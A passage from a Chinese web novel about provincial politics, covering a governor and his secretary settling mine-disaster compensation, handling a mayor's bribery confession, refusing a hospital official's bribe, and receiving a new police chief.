孟良德满意地点了点头,目光环视一圈,确认其他人无异议后,说:“散会!” ...... 次日,下午两点。 孟良德在市政府,亲自接见了遇难者家属的代表。 不出所料,家属的代表一共有两个人,其中就有白邱赫。 “孟省长,你考虑得怎么样了?五百万什么时候能够赔付到位?” 白邱赫吊儿郎当地问,他翘着二郎腿,跟在他自家炕头没什么区别。 “政府方面,最多能补偿一百五十万,这是定额。”孟良德开门见山,说。 “一百五十万?差了整整三百五十万,你耍我玩呢?早知道你们政府是这个态度,我今天都多余过来,跟你浪费时间。” 白邱赫哼了一声,竟大大咧咧地点燃了一根香烟:“那咱们就京城见吧。” 李承看着他的样子,心中一阵唏嘘。 他不知道白邱赫是初生牛犊不怕虎,还是有恃无恐。 他这种做派,和那种傲慢的语气,也就是遇到了孟良德,不会跟他计较。 如果换做成上任省长李雪忠,说不定背后要整治他一番,给他一些教训。 “呵呵呵...政府不是菜市场,不会跟你讨价还价,一百五十万是最高的赔偿款。 不管你闹到哪里,都不会超过这个价。”孟良德表情平静,淡淡地说。 “那就不谈了。” 白邱赫直接把烟灰弹在了地上,站起身准备离开。 “省长,你看三百万行不行?” 就在这时,跟随白邱赫一起过来的,另一位家属代表,挤出一抹憨厚的笑容,试探地询问孟良德。 相比于白邱赫的玩世不恭,这个男人就显得老实很多,从头到尾都是恭恭敬敬的。 “老王,你干什么,来之前不是说好了吗?五百万少一分都不谈。”白邱赫听到男人主动让步,眉头一皱,质问。 “小赫,你这五百万要的确实太多了,早上刘嫂子的话你也不是没听见,等孟省长回了汉江,到时候这钱都不好要了。” 被称之为老王的男人,表情尴尬地说。 “有什么不好要了,这么大的事故,他们不给赔钱,咱们就去京城闹事呗,咱们占理怕什么!” 白邱赫伸手拉起老王的胳膊,要拽着他离开:“走。” “刘嫂子都说了,咱们是去不成京城的,政府部门肯定会在半路劝返,那去京城告状,不是你想去就能去了,咱们就是普通老百姓,真没必要讹诈政府。” 老王坐在椅子上,并没有被白邱赫拽动,他苦口婆心地说。 他口中的刘嫂子,就是李承昨晚见的大姐。 在见面时,李承将他们继续闹事下去,可能面对的所有坏处都讲述了一遍。 而大姐也很给力,今天一早就开始动员起电话,让那些遇难者的家属心里都犯了嘀咕。 “你要是不愿意,你就自己同意,反正我少五百万是不可能妥协,到时候我的五百万要下来,你别后悔。” 白邱赫冷哼一声,说完,他摔门直接走了,留下老王一个人。 “孟省长,大家其实也都不想要那么多,也知道要不来,您看,你最多能给多少赔偿,毕竟这是一条人命啊。” 老王态度和善,语气中带着些许乞求的味道。 他的态度,更让人舒服。 在坐的几位领导,也会更愿意跟他谈。 第167章 不善态度 “政府最多能给你们的补偿就是一百五十万,但是,经过昨晚的商议,蒋元蒋总愿意自讨腰包一千万,对你们进行补偿,这是我们能争取到的最大赔偿。”孟良德道。 “那我回去也跟他们商量商量,您看行吗?”老王想了想,说。 算上蒋元的赔偿,每个人能补偿两百万左右,这个价格,老王个人是满意的。 但考虑到其他家属,他还是要回去商量,不能擅作主张。 “嗯,行。”孟良德点头。 “孟省长,您什么时候回汉江?”老王小心翼翼地问。 经过刘大姐今早的劝说,他们这些朴素的工人,非常担心孟良德回到汉江后,就没有人给他们做主。 “明天。”孟良德说。 “那我回去就商量,今天晚上就给您答复。” “李秘书,你送一下他。”孟良德看向身后的李承,安排道。 “好的省长。” 李承点头,起身送老王离开。 孟良德让李承去送,是有另一层意思的,有些话,孟良德不能说,就要借秘书的嘴说。 对此,李承也是心知肚明。 “王哥,孟省长为了你们的事情,昨天晚上开会到了凌晨,政府也有赔偿的规定额度,一百五十万是定格了。 但考虑到你们的难处,孟省长那是逼着蒋元拿出一千万作为额外赔偿的。” 李承边走边说,向老王讲述起孟省长对于他们的重视,已经政府部门的底线。 “我知道,孟省长是好领导。”老王点头。 “你们也是矿上的老员工了,之前什么赔偿条款,你们也知道。刘姐家被拖了那么久才要到赔偿,要不是上次孟省长来,可能他们的事情还得不到解决。 你们要好好珍惜这个机会呀,等孟省长走了,到时候市领导接手处理,怕是这个钱,不好拿了。”李承继续劝说。 “嗯,这个我都知道,我回去就跟大家商量。” 老王是老实人,听到李承都这么讲了,他心里也害怕。 至于说去京城上访,他们都是听信白邱赫的谗言,说那样能要到更高的赔偿。 真要去京城闹事,他们也不敢。 除非走到绝路,一分钱赔偿都拿不到的情况,他们再会那么做。 ..... 接下来。 孟良德又去视察了滨西矿业,发生了这么大的事情,矿业直接被喝令停业整顿。 并亲自督促专案小组,对于基层的涉事人员进行了调查。 滨西煤监局,应急局,安监站这些涉嫌疏忽的部门,全部在调查的行列中。 忙活完这些,已经是晚上六点多。 ‘嗡嗡嗡...’ 一行人歇歇脚,吃口饭的时候,李承的手机震动了起来。 拿出手机,来电显示是老王打来的电话。 在送他离开市政府时,两个人互换了号码。 李承站起身,离开餐桌,找了一个安静的地方接通了电话。 “喂,王哥。” “李秘书,我回去也跟这些工友的家属们商量了一下,你看,能不能让蒋总多赔点呀。 大家都知道,这些年蒋总没少捞钱,现在出了这么大的事,死了这么多人,一千万太少了。” 老王讨价还价说。 他回去把市政府发生的情况,以及省长的态度向那么家属们如实讲述。 很多人已经被白邱赫给洗脑不清,曾抱有过拿五百万赔偿的幻想。 可事实上,省里赔偿的钱,连他们幻想的一半都不到,他们心里是有失落的。 外加白邱赫一直在唱反调,给他们洗脑,让他们也左右纠结。 而且,这些员工在滨西矿业这么多年,关于蒋元的事情也听到了不少,知道这些年蒋元背地里不少捞钱。 一千万,对于蒋元来说不痛不痒。 他们想借着孟良德的威慑力,多让蒋元赔偿一些钱。 “王哥,省长为了你们的事情,已经对蒋总施压了,一千万的个人赔偿不少了。 省政府已经尽全力在帮你们,如果你们还对这个数字不满意的话,要不你们去联系一下蒋总,看看他愿不愿意再赔偿一些。”李承淡淡地说。 省政府已经释放了全部善意,即使昨天蒋元表示,在这一千万之外还愿意额外赔偿。 但这种讨价还价的事情,不能由政府部门出面。 不然的话,这群人就认为政府部门没诚意,还没有报出最高价,可能会出现三番五次讨价还价的情况。 所以,这种时候,李承代表政府部门,态度一定要强硬地告诉他们,这些已经是极限。 至于他们会不会去找蒋元,蒋元还愿不愿意给他们钱,那就是他们的事情,政府部门不再干涉。 “李秘书,我们跟蒋总也说不上话,人家也不能给我们面子呀,你看就帮帮忙吧。”老王说。 “王哥,省长今天见你的时候,话已经说得很明白了,这些钱是政府能帮你们争取到的最高价格。 孟省长一心想着帮你们解决困境,给你们争取到更多的钱,蒋总那一千万已经是规定之外的了。 你们总不能逼着孟省长犯错误,借助身份去施压讹诈企业家吧?” 李承淡淡一笑,半开玩笑的语气,说出这句话。 这话,也算是堵住了他们的嘴。 如果老王继续强求,那么,他们就在道德的层面上,成为了不知好歹,忘恩负义的人。 “额....好吧,李秘书,那我们看看联系一下蒋总。” 话已经说到了这个份上,老王也不能再勉强,只好答应。 “嗯,对了,省长明天回汉江还有一个会,有可能今晚就会返航,你们要抓紧时间。” 李承再次用话术,来逼着他们尽快妥协。 算上蒋元的额外赔偿款,他们人均补偿达到了二百万,这已经属于高价了。 再高的话,以前的那些遇难者家属,肯定会心里不爽。 不说别人,就是帮着他们联系李承的刘大姐,心里也会嫉妒。 这种情况,不是省里想看到的结果。 “啊,省长今晚就要走呀?” “不一定,但有可能。” “行,那我尽快去联系....” 第168章 和解 晚上八点多。 孟良德仍然在开会,李承坐在他身后,进行会议记录。 这场会议是专案小组的闭门会议,没有滨西市领导班子的参与。 “此次事件的背后,涉及滨西市委市政府的腐败问题,无论查到谁,无论谁出面干涉,一律严办。 如果遇到突发性情况,必要时可以先斩后奏!” 孟良德态度严肃且坚定,势必要将此次重大事故背后存在的违法违纪行为,严查到底。 ‘嗡嗡嗡...’ 在会议中,李承的手机一直在口袋中震动,他迅速拿出来看了一眼,是遇难者家属代表打来的电话。 李承直接选择了挂断。 会议中看手机,也是分情况的。 会议规格极高,涉密会议,绝不可以看手机。 但像这种普通会议,偷瞟一眼无所谓,身为秘书,他需要判断这通电话是否为紧急公务电话。 家属代表的电话,显然不在紧急公务的行列中。 拖延一会儿,从某种角度来讲,有好处。 可以加剧这些家属们的急迫情绪,从而,让他们心理防线降低。 “散会。” 又过了二十分钟,孟良德宣布会议结束。 李承整理好文件,陪同孟良德出了会议室。 “遇难者家属那边,有没有消息?”孟良德边走边问。 “会议中,家属代表给我打了电话,还没有给他回复,应该是有答案了。”李承道。 “嗯,你去联系一下。”孟良德道。 “好的省长。” 送孟良德回到房间后,李承站在走廊,回拨了老王的电话。 “李秘书,你可算接电话了。” 电话接通,老王急切的声音传了过来:“孟省长还是滨西市吗?” 这一个小时里,他给李承打了四五通电话,都遭到了拒接,而李承也没有通过短信回复他原因,这让他们心急如焚。 “在。” 李承平静地回道。 “那就好。” 听到孟良德还没离开,老王这才如释重负。 “你们考虑清楚了吗?”李承问。 “我们联系了蒋总,他愿意额外再追加三百万的个人赔偿,现在大部分都同意了,就剩白邱赫和胡凯不同意。 大家的意思是,能不能先把我们的赔偿给了,就先不管他俩了。”老王试探地询问道。 他们这些人也苦口婆心劝过白邱赫,但白邱赫是咬准五百万的赔偿款不肯罢休,死活不同意。 在他的鼓吹下,胡凯也准备继续跟白邱赫讹诈政府,目前,就他们两个人不接受和解。 “好,没问题,我跟省长汇报一下。”李承道。 大部分能够达成和解,剩下他们两个人,对于大局来讲也就无所谓了。 两个人能够掀起什么波浪? “那就辛苦你了,李秘书,没问题的话,我们明早就去签和解。” 挂断电话,李承敲门进入孟良德的房间,将家属们的情况汇报上去。 对此,孟良德也很满意。 在他回汉江之前,把遇难者的和解达成,算是解决了一大隐患。 ...... 次日。 由孟良德牵头,市长冯坤,滨西矿业董事长蒋元等人,在市政府会议室,与遇难者家属签署了和解协议。 当天,蒋元承诺的一千三百万个人赔偿,就打到了市政府的账目上。 由市政府统筹,进行分配赔偿。 签署完和解书,孟良德也准备返航汉江。 临走之前,他将冯坤单独叫到了一个小会议室谈话。 这场谈话,只有孟良德,冯坤以及李承三人。 “冯坤同志,目前大部分遇难者已经达成和解,但你也不能放松警惕,剩下两个才是刺头。 你们市政府一定要对他们进行开导,切记不能让他们去京城。” 孟良德认真地叮嘱道。 李承看着孟良德严肃的态度,深知,如果白邱赫他们去了京城上访,给孟良德带来的影响,或许超乎想象。 他口中的‘开导’二字,也是打引号了,开导是次要,重要的是监管。 毕竟,京城的领导已经亲自打电话询问过孟良德。 若是此事不能善终,孟良德会被牵连,其中或许包含了上层领导的政治斗争,李承不得而知。 “孟省长您放心,我保证妥善处理此事,如果给省政府造成不良印象,我愿意辞去市长一职,请罪。” 冯坤信誓旦旦地向孟良德保证。 他说自己愿意辞去市长一职请罪,可发生这么重大的事故,追究下去,他市长一职还能保得住吗? 所以,他在通过这句话来试探孟良德的态度,准不准备撤掉他。 “冯坤,你跟我讲实话,这次事故发生,跟你到底有多少的关系,有没有利益关联?” 孟良德犀利的目光盯着冯坤,他喊对方的名字,没有加上同志二字,这是一种亲近的表现。 “孟省长,我没.....” “这里就我们三个人,这是你的机会,说实话。”孟良德道。 “滨西矿业扩采之前,蒋元找过我,想通过我绕开监管,被我拒绝了。 没两天,滨西矿业就出事了,据我了解,是吴刚同志给蒋元开了绿灯,但....出事的当天,我才知道,我妻子收了蒋元两根五百克的金条。 在此之前,我没有跟滨西矿业有过任何的利益来往。” 冯坤沉吟了几秒后,说道。 “因为你妻子收了金条,所以,你参与了瞒报,是吗?”孟良德点燃一根香烟,淡淡地问。 “我承认,我是有过配合吴刚同志瞒报的想法,但我的职责告诉我,这件事不能瞒。 我想跟省领导汇报工作,可没想到李秘书的消息更灵通,他的电话先打过来了。” 冯坤如实说道。 他低着头,表现出来的态度很诚恳。 但他的每句话,基本都带着市委书记吴刚,是要将责任全部归咎于吴刚身上。 “孟省长,我有错,都怪我那个不争气的媳妇儿,哎呀....”冯坤叹了一口气,一脸的幽怨。 “接下来,你准备怎么处理你的个人问题?”孟良德弹了弹烟灰,问。 孟良德这是要让他做决断了。 “我准备举报我妻子的受贿行为,争取组织能够宽大处理!” 第169章 唯一的选择 “我准备举报我妻子的受贿行为,争取组织能够宽大处理!”冯坤沉默了两秒后,做出了决定。 他妻子受贿两根金条,共计一千克。 按照现在的金价,其价值高达四十万,属于受贿金额巨大。 按照法律,要判处三年以上,十年以下有期徒刑。 但眼下,为了保住自己的职位,在自身利益面前,冯坤只有这一条路可以走。 而且,他说的不是劝妻子自首,而是举报妻子受贿,这代表他急于跟妻子做关系切割,撇清他与这件事的关联问题。 冯坤的决定,算是大义灭亲也好,自私自利也罢。 可这都是他唯一的选择,就算他想偏袒,等蒋元被抓入狱后,大概率也会出卖他们。 蒋元供述,和冯坤主动举报,意义就截然不同了。 无论如何,他妻子的解决都是注定了,从理性的角度出发,冯坤的选择很正确。 “嗯。” 孟良德微微点头,这才将目光从冯坤的身上挪开,淡淡地说:“既然做好决定了,动作就要快,别让人先抓了把柄。” “我明白,领导。” 冯坤点头,喊了孟良德一句领导。 这个称呼的转变,也是一种投名状的方式。 通过两个人的谈话,李承领会到了一层意思,那就是,孟良德有拉冯坤一把之意。 而冯坤,也非常愿意成为孟良德的人! ...... 回到汉江已经是晚上下班时间。 送孟良德回到迎宾馆后,李承开着车,马不停蹄地来到医大一院。 昨天晚上,大姑李桂枝已经苏醒了。 推开病房,表姐正在给大姑喂粥。 “大姑。” 李承走到几人面前,打了个招呼。 “李承来了。”大姑声音虚弱,对李承挤出了一个微笑。 “感觉怎么样?”李承问。 “还可以。”大姑说。 “我昨天去滨西市出差了,刚赶回来了,听说你醒了,我悬着的心也算放下了。” 李承坐在李桂枝的病床前,握住她的一只手。 “你事业忙,不用管我,我都听丹丹说了,这次没有你,我怕是挺不过来了。”大姑看向李承的目光里,充满了欣慰。 “您吉人自有天相,不会的。” 在医院陪大姑待了将近一个小时,直到李桂枝睡下,李承才站起身,准备告辞离开。 这两天折腾下来,李承也是身心俱疲,想早点回家休息。 “弟,这个给你。” 正当李承准备走时,杨丹将一个信封递到李承面前。 李承接过信封,看了一眼,这里面装了两万块钱。 “这是哪来的?”李承疑惑地问。 他知道,这个钱不是杨丹的。 以他们的关系,杨丹不会为了感谢李承,特意拿两万块钱给他,那样太疏远了。 “昨天下午,钟副院长来过,关心了一番,还拿了两万块钱给我,说是他个人给我妈的一些补偿。 我以为他们觉得耽搁了手术进展,给的补助,就收下了。 可后来我越想越不对劲,总感觉其中有你的关系在。” 杨丹将这笔钱的来历,讲述给了李承听。 “这个钱不能收,得退回去。” 李承将钱收进口袋里,说。 医院耽搁的手术,他一个副院长,为什么要以个人名义,自掏腰包的补偿呢? 何况,耽搁手术,安排插队的人是王致和,又不是他,他这么做,其中一定有隐情。 无论他出于什么目的,这笔钱都不能收。 “我知道,这才交给你处理。”杨丹道。 “嗯,我去找一下他。” 李承说完,揣着这两万块钱,出了病房。 “你好,我问一下,钟副院长的办公室怎么走?”李承找到了一个护士,询问道。 “钟院长的办公室在行政楼三楼,你从前面那个走廊穿过去就是行政楼,坐右手边的电梯。” 小护士耐心地给李承介绍道。 那一天,李承在手术室门口,吓得王志和院长大气都不敢喘的事,已经在医院传得沸沸扬扬。 李承大姑的病房,也成为了医院重点照顾的病房。 门口的几个护士,都认识李承,所以对于李承的提问,也是有问必答。 按照护士指引的方向,李承来到了钟副院长的办公室门口。 ‘咚咚咚...’ 他敲了敲门,里面并没有应答的声音。 李承看了一眼时间,是七点半,想来,已经下班了。 “李秘书。” 正当李承准备离开时,钟副院长的声音从电梯方向传来。 “钟副院长,我还以为你下班了呢。”李承道。 “刚准备走,到停车场才发现车钥匙忘拿了,这就是天意呀,要不我们今天就要错过了,哈哈哈。” 钟副院长走到李承身边,笑呵呵地道。 “进去聊聊。”李承说。 “好。” 钟副院长点头,拿出钥匙,开门,开灯,将李承请了进去:“李秘书,您坐。” “我就不坐了。” 李承摆了摆手,从口袋里掏出那个信封:“钟副院长,这个你拿回去。” “李秘书,我没别的意思,这钱是给大姑的,耽搁的手术毕竟是我们医院的错,一点心意,给大姑买点补品。” 钟副院长摆了摆手,推诿道。 “如果医院要赔偿,那就以医院的流程,你个人的钱,我不能收。”李承将信封放在他的办公桌上,道。 “李秘书,这就是一点心意,这并符合医院的赔偿流程,所以,我只能个人的名义....” 钟副院长拿起信封,继续朝着李承塞去。 “钟副院长,您这是在为难我。” 李承退后了半步,语气没有先前那么温和,转而平淡地说。 李承拒绝的态度已经很明确了,钟副院长还要继续塞红包,就显得很不知趣了。 “哦..呵呵...是我没注意分寸。” 感受到李承语气渐冷,钟副院长意识到自己的方式不对,尴尬一笑,收起了信封。 “信封你收好,我也回去了。”李承说完,转身准备离开。 “李秘书。” 这时,钟副院长开口叫住了他。 “还有其他事情吗?”李承问。 “那个...这不是王院长被免职调查了嘛,我想打听一下,下一任的院长,人选定了吗?” 第170章 非奸即盗 看着钟副院长那迫切的表情,李承微微一笑。 无事献殷勤,非奸即盗。 非亲非故,钟副院长怎么可能那么好心,以个人名义拿两万块钱给大姑。 原来,他是奔着院长的位置使劲儿。 “钟副院长,你送这个信封,就是想问问自己跟院长这个位置有没有缘分吧?”李承淡笑着问。 “嘿嘿...” 闻言,钟副院长露出一抹讨好的笑容,走近李承一步:“李秘书,你大姑这个病,手术和后续治疗都是一笔不菲的费用。 其中很多进口用药,都不在医保的报销内,你大姑也没有保险,可能她个人还要承担很大一笔费用。 这些药,我有办法将他们纳入到医保里,进行全额报销。” 最后一句话,钟副院长压低了声音,像是在跟李承进行一场谈判。 他的意思,李承很明白。 他想让李承帮他争取一下院长的位置,作为报酬,他将动用自己的权力,将李桂枝此次所有的医疗费用报销。 “你们医院进出药品也是有账目的吧,这么做,能对得上账吗?”李承并没有拒绝他,淡淡地问。 “这个李秘书不用担心,一定是在规定之内的,不会出现任何问题。”钟副院长信誓旦旦地说。 他知道,像李承这样的公职人员,最怕牵扯出问题,和留下隐患。 但在这个水深的医疗行业,想要搞出一点药来,简直轻而易举。 只要钟副院长想,他有几十种办法,帮助李桂枝免除费用。 医疗行业,内部黑暗到超出想象。 一个普通的大夫,为了让自己的亲人免费用药,都能把药品开到其他患者的账单上,让别人替他买单。 更何况是一位副院长的权力了。 “作为报酬,我需要帮钟副院长什么忙呢?帮你提到院长一职?”李承淡淡地问。 “不用不用,如果可以的话,您就帮我在孟省长面前说两句好话就行。”钟副院长笑呵呵地摆手道。 别看他嘴上拒绝,可他心里已经盘算好了。 只要李承敢答应,他就笃定李承一定会帮他院长的职位。 天底下,哪有免费的午餐? “哈哈哈,算了吧,医疗方面归赵副省长分管,我帮不到你。”李承摇了摇头,拒绝了钟副院长。 “没关系了李秘书,那您大姑那边,我也给您想办法报销。” 见李承拒绝,钟副院长决定先交下这个人脉,再一步步地做打算。 “不用,该是多少费用就是多少费用,钟副院长,我虽然是个外行,但你说的操作违不违规,我还是清楚的。 现在省里对医疗查得很严,别犯错误。”李承警告道。 “嗯...谢谢李秘书提醒。” ..... 晚上十点,李承将许梦接回了家。 进入家门,许梦迫不及待地扑进李承的怀中:“你这两天出差,我都想你了。” “想哪呀?” 李承吻了一下许梦的唇,笑眯眯地问。 “想你的人,还想这...” 许梦的手,轻轻抚摸了一下。 以前,李承跟许梦开这种玩笑,她都会羞红了脸。 现在,却能大胆地做出回应,让李承还有点不习惯。 “矿难那边的事情解决了吗?” 两个人温存了一会儿,坐在沙发上,许梦给李承扒了一个橘子,问。 滨西矿难不是什么保密的问题,只是封锁了媒体途径,不让外传而已。 何况,除了这么大的事,涉及到这么多的百姓,就算是想保密,也保密不了。 “算是解决了吧,家属那边已经跟大部分达成了和解,现在调查组正在查涉事人员。”李承说。 “涉及到的人,多吗?”许梦将一个橘子瓣塞进李承的嘴里,随口问。 “嗯,应该不少。” 提到此事,李承联想到了冯坤,叹息了一声:“滨西的冯市长,其实是个不错的官,但被他老婆给坑了。 他老婆私自收了煤矿高管的两根金条,这回出了事,尽管他已经亲自举报了他妻子,但估计也难逃其职。 官场一道,难走呀,那些人会想尽办法去腐败,自己守住底线还不行,还要家人守住底线。 不然,就要面临大义灭亲和腐败的选择,唉....” 李承说到此事,一方面是感慨官路的崎岖坎坷,另一方面也是想侧面给许梦提个醒,让她引以为戒。 “是呗,当官难,当个好官更难,怪不得古代的皇帝都称呼自己为寡人,到了一定位置上,在一些选择上,可能真的要成为孤寡老人。” 许梦咀嚼着橘子,附和地说。 “人家皇帝的寡人,是寡德之人,不是孤寡老人,好不好?”李承伸手刮了一下许梦的鼻子,笑道。 “你说得对,东江大学的高才生,哈哈哈。”许梦闻言,露出一个调皮的笑容。 听字面意思,这像是一句恭维。 但从许梦口中说出来,那就是一种嘲讽。 虽说,东江大学在全国名校中,也很有名气,能排进前二十,属于双一流大学。 可许梦是毕业于复旦大学。 “哼,嘲讽我。” 李承轻哼一声,故作生气地将头扭到了一边。 “老公,别生气嘛。” 许梦双手抱住李承的脖颈,在他的脸上连续吻了十几口后,说:“对了,老公,有一件事情还要跟你商量呢。” “什么事情?”李承问。 “我不是开始做自媒体了嘛,发了几条事情,反响不错,已经有四万多粉丝了。 昨天有一个商家找到我,想让我给他打广告,一条视频报价两万呢,你觉得怎么样?” 许梦问。 “网红是真挣钱呀,拍条视频就两万。”李承感慨道。 “人家大网红,一条视频上百万的都有,我这不算什么。” 许梦解释了一句,继续问:“你觉得我现在要接广告吗?还是先养养粉丝基础的?” “你觉得哪个更好?”李承淡淡地问。 他知道,许梦其实心里已经有了答案,只是在纠结中,需要一个人的肯定。 “嗯...我觉得养养粉丝的好,毕竟,我才刚拍摄就接广告,怕他们烦....但两万块钱也不少,我不想错过。” 第171章 新任厅长 “钱以后有很多机会赚,不着急,先专心做内容。”李承给予了许梦一个肯定。 “那可是两万块呢。”许梦有一点不甘心地说。 “两万块算什么,你不是都说了吗,大网红一条视频能赚百万,等你什么时候一条视频报价五十万的时候,你再接广告。 对于我们未来千万粉丝的许大网红来说,这两万块钱算什么。” 李承说完,直接用公主抱的姿势,将许梦从沙发上抱了起来:“别想你那两万块了,我给你百亿补贴...” 一番激情过后,许梦香汗淋漓的白皙皮肤,贴在李承身上。 “老公,你什么时候有时间,陪我回一趟老家呗,我家里人想见见你,他们也催着我结婚呢。” 许梦温柔地说。 她年纪同样不小了,一个女生,青春就那么几年。 她家里人也怕李承的官位越做越大,接触的女人越来越多,到最后,许梦落得一个一场空,想早点把婚事定下来。 “我也一直想去拜访一下叔叔阿姨,等五一假期吧。” 过年期间,李承其实就想过去拜访许梦的父母,但因为一些工作问题耽搁了。 下一次小长假是清明节。 可清明节去拜访对方父母,太没有礼貌了。 只能等到五一假期,时间还能充裕一些。 “嗯,好啊。”许梦点头。 “你跟叔叔阿姨提过我家的情况吗?他们对我的印象怎么样?”李承问。 经过秦虹父母阻拦一事后,李承对于见父母这件事,有些打怵。 他怕重蹈覆辙。 尽管他知道,以他现在的身份地位,一般家庭不会挑出毛病。 “放心,我爸妈对你都很满意,就想让我们尽早结婚,他们着急抱外孙。”许梦亲了李承一口,说。 “嗯,那就好。” ..... 经过纪委的调查,王志和院长的问题已经落幕。 查出的贪污受贿金额高达一亿七千万,他的下半生基本都要在牢狱中度过。 这天上午,主管医疗的赵副省长来找孟良德谈话。 两个人谈了二十分钟后,赵副省长才离开。 “小李啊,你姑姑的病情怎么样了?” 李承进去给孟良德续水时,对方关心地问。 “已经稳定下来了,这两天就准备转回封兰的医院,回老家,家里人照顾方便一些。”李承说。 “嗯,稳定下来就好。” 孟良德点了点头,问:“你姑姑住院的期间,应该有不少别有用心的人去探望吧?” “嗯,确实不少,但我交代过表姐,任何人的东西都不收,她也一直在照做。”李承解释道。 李桂枝的情况,被李承拿到了《东江问政》上去说。 很多官员都知道这件事,确实有不少想要结交李承的人,跑到医院去探望李桂枝。 对此,李承早就想到了,也特意吩咐过表姐杨丹。 “这些事情,避免不了的。” 孟良德喝了一口水,说:“现在医大一院的院长位置空缺,刚才赵副省长来推荐了两个人选。 一个是三院的谢院长,一个是医大一的钟副院长,这两个人,你有了解过吗?” 孟良德是空降派,对于各大医院的了解很片面。 按正常来说,这种事情,省长会直接让主管医疗的副省长做决定。 但赵副省长不是他的人,又发生了王志和这件事,他对赵副省长的信任程度不高,所以,他想听一听李承的意见。 毕竟,李承在做秘书之前,曾在审计局任职。 这些公立医院,都属于审计局审计的范畴内,李承对这些医院领导层也有一定的了解。 “三院的谢院长,我接触的比较少,但是医大一的钟副院长,我觉得,这个人的品德还有待考量。”李承说。 “此话怎讲?”孟良德问。 “前几天,钟副院长给我表姐塞过红包,说是以他个人名义替医院给的营养费。 我表姐把钱给了我,我去找过钟副院长,他说,想让我在您的面前替他美言几句。 作为报酬,他能把我大姑的进口药部分,列入到报销的清单中。” 李承如实说,并没有半点的添油加醋。 但这几句话,足够可以将钟副院长排挤到备选名单之外。 李承这么做,没有半点的私心。 他是发自内心地认为,像钟副院长这种人不适合做院长,他很有可能成为下一个王志和。 甚至于,他其实就是下一个王志和,只是没有被调查而已。 “嗯,听你这么说,这个钟副院长确实不够格。”孟良德微微点头,似乎已经做出了选择。 李承没再多言,端着水壶走出了省长办公室。 开始准备沏茶。 给孟良德保温杯中续水,续的是孟良德日常工作时的水。 而茶,是要为十分钟后接待的客人做准备。 水刚烧开,一个五官端正,眉宇中透露着一抹威严的中年男人走了进来。 “你好,你是李秘书吧?” 男人看向李承,微笑询问。 “鲁厅长,您好。” 李承走向前一步,主动跟对方握了握手:“孟省长在办公室等您呢。” 对方叫鲁林,是公安部空降过来的新任公安厅长,属于马洪波派系的人。 今天是鲁林上任的第二天,特意约了时间,过来向孟良德汇报工作。 其目的,是带着一种‘拜码头’的意思。 李承敲了敲门后,将鲁林引进了办公室。 “孟省长,您好。” 鲁林大步流星地走向孟良德办公桌,主动伸出手。 “鲁林同志,欢迎你到东江工作。” 待到鲁林走到近前时,孟良德这才缓缓起身,故意用起身的动作拖延了一到两秒,再去与对方握手。 这是在无形之中,将主次位置分明。 “能在孟省长的领导下工作,是我的荣幸。”鲁林笑道。 “这边坐。” 孟良德率先迈步走向会客区,鲁林则跟在他身后。 在这个期间,李承回到了自己的秘书间,将准备好的茶叶和热水端了上来,给两人沏茶。 “洪波书记那边,你去过了吧?”两人坐下后,孟良德淡淡地问。 看似随意的一句询问,可其中却带着些许逼人的戾气,包括一旁的李承都能感受到。 第172章 朋友和敌人 鲁林是马洪波的人。 原本公安厅长这个位置,本属于宫庆鑫,结果被马洪波渔翁得利。 所以,对于鲁林的上任,孟良德的心里带着气。 宫庆鑫的问题只是一件莫须有的小事,只要查清楚,马洪波和孟良德一致同意,仍可以继续公示任职。 可马洪波却违背了两人当初在办公室达成的共识。 鲁林上任,孟良德自然要给他一个下马威。 “我刚从洪波书记那里出来,就赶过来了,洪波书记特意让我好好感谢您,没有您的支持,这个公安厅长就与我这个外地的空降派无缘了,哈哈哈....” 面对孟良德带有杀气的提问,鲁林谈笑间,用恭维的方式化解。 省委书记毕竟是一把手,先去他那里报道,孟良德挑不出毛病。 去过马洪波那里,就立马赶到孟良德这边,这句话足以展现出他对孟良德的重视。 而那句特意强调自己是‘空降派’,更是一种暗示立场,表明他与孟良德属于共同立场。 “支持是相互的,很多工作,我也需要鲁厅长的支持。”孟良德抿了一口茶,淡淡地道。 李承察觉到,孟良德在这个时候,喊了鲁林的职位,这大概率是要谈公事了。 在鲁林主动示好投诚的时候,谈论工作,鲁林他肯定要全力配合。 “孟省长,您是我的领导,一切服从命令。”鲁林微笑点头。 “嗯。” 看到鲁林这么上道,孟良德这才满意:“喝茶。” 得到孟良德开口,鲁林这才端起茶杯,抿了一口茶。 对于这种空降新官的第一次交道,让茶是一种潜在语言。 孟良德主动让鲁林喝茶,才算表示了认可。 如果孟良德迟迟不邀请,就表明,孟良德对他还不满意,他需要再努把力。 “接下来,对工作有什么初步打算?”孟良德问。 “先熟悉了解公安厅内部的情况,再去实施,现在厅里内部的声音还不统一。 整顿一下团队,再去调研动刀,我觉得效率更高一些。” 鲁林先是汇报了自己的打算,紧接着,他又道:“做完这些,我准备第一件事,就是打击汉江市的黑恶势力,听说,有一股团伙很猖獗,连李秘书都敢威胁,涉及组织内部的安危,是首当其冲的要务。” 听到这里,李承清楚,鲁林这次过来‘拜码头’,背后是有高人指点的。 这位高人,大概率是马洪波。 就算不是马洪波亲口暗示,也有马洪波秘书的提点。 他的这番话,抓住了孟良德眼下需要公安厅支持的工作在哪里,痛点在哪里,算得上对症下药。 孟良德迫切地想要扶持宫庆鑫顶替常百利,无非也是要调查和解决这些与花海集团有牵扯的问题。 鲁林主动提出解决这些事,那么,在现在的政治立场下,两个人就是盟友。 “嗯,扫黑除恶是响应国家号召的当务之急,汉江市对这方面有欠缺,其中不乏一些人的保护与放纵。 你上任之后,一定要把这项工作处理好,可以放心大胆地做,我和洪波书记是你的后盾。” 孟良德表达了自己的态度,也展现了他对扫黑除恶的决心。 “一定。” 两个人又聊了十几分钟后,鲁林告辞离开。 李承将鲁林送出办公室后,回来收拾茶具。 “李秘书,你觉得他怎么样?”孟良德问李承。 李承已经取得了孟良德的信任,很多人事上,孟良德都会询问一下李承的想法。 李承说得对,孟良德会表示赞同。 李承说错了,孟良德也不会在意,而是纠正和表示他的看法。 这是对李承的一种指教和提携,拿李承当做心腹来培养。 “很识时务的一个人。”李承给出了自己的看法。 “识时务,这话怎么讲?”孟良德淡淡一笑,问。 识时务,这三个字,相比于其他夸奖,让孟良德觉得更有趣。 “他刚上任,还需要仰仗省长您的提拔,才能坐上常厅长梦寐以求的位置。”李承说。 常百利是一个低配的公安厅长。 大多数省份,公安厅长都会兼任副省长,进省部级,成为省委常委的一员。 但常百利只是厅长,那是源于马洪波的压制。 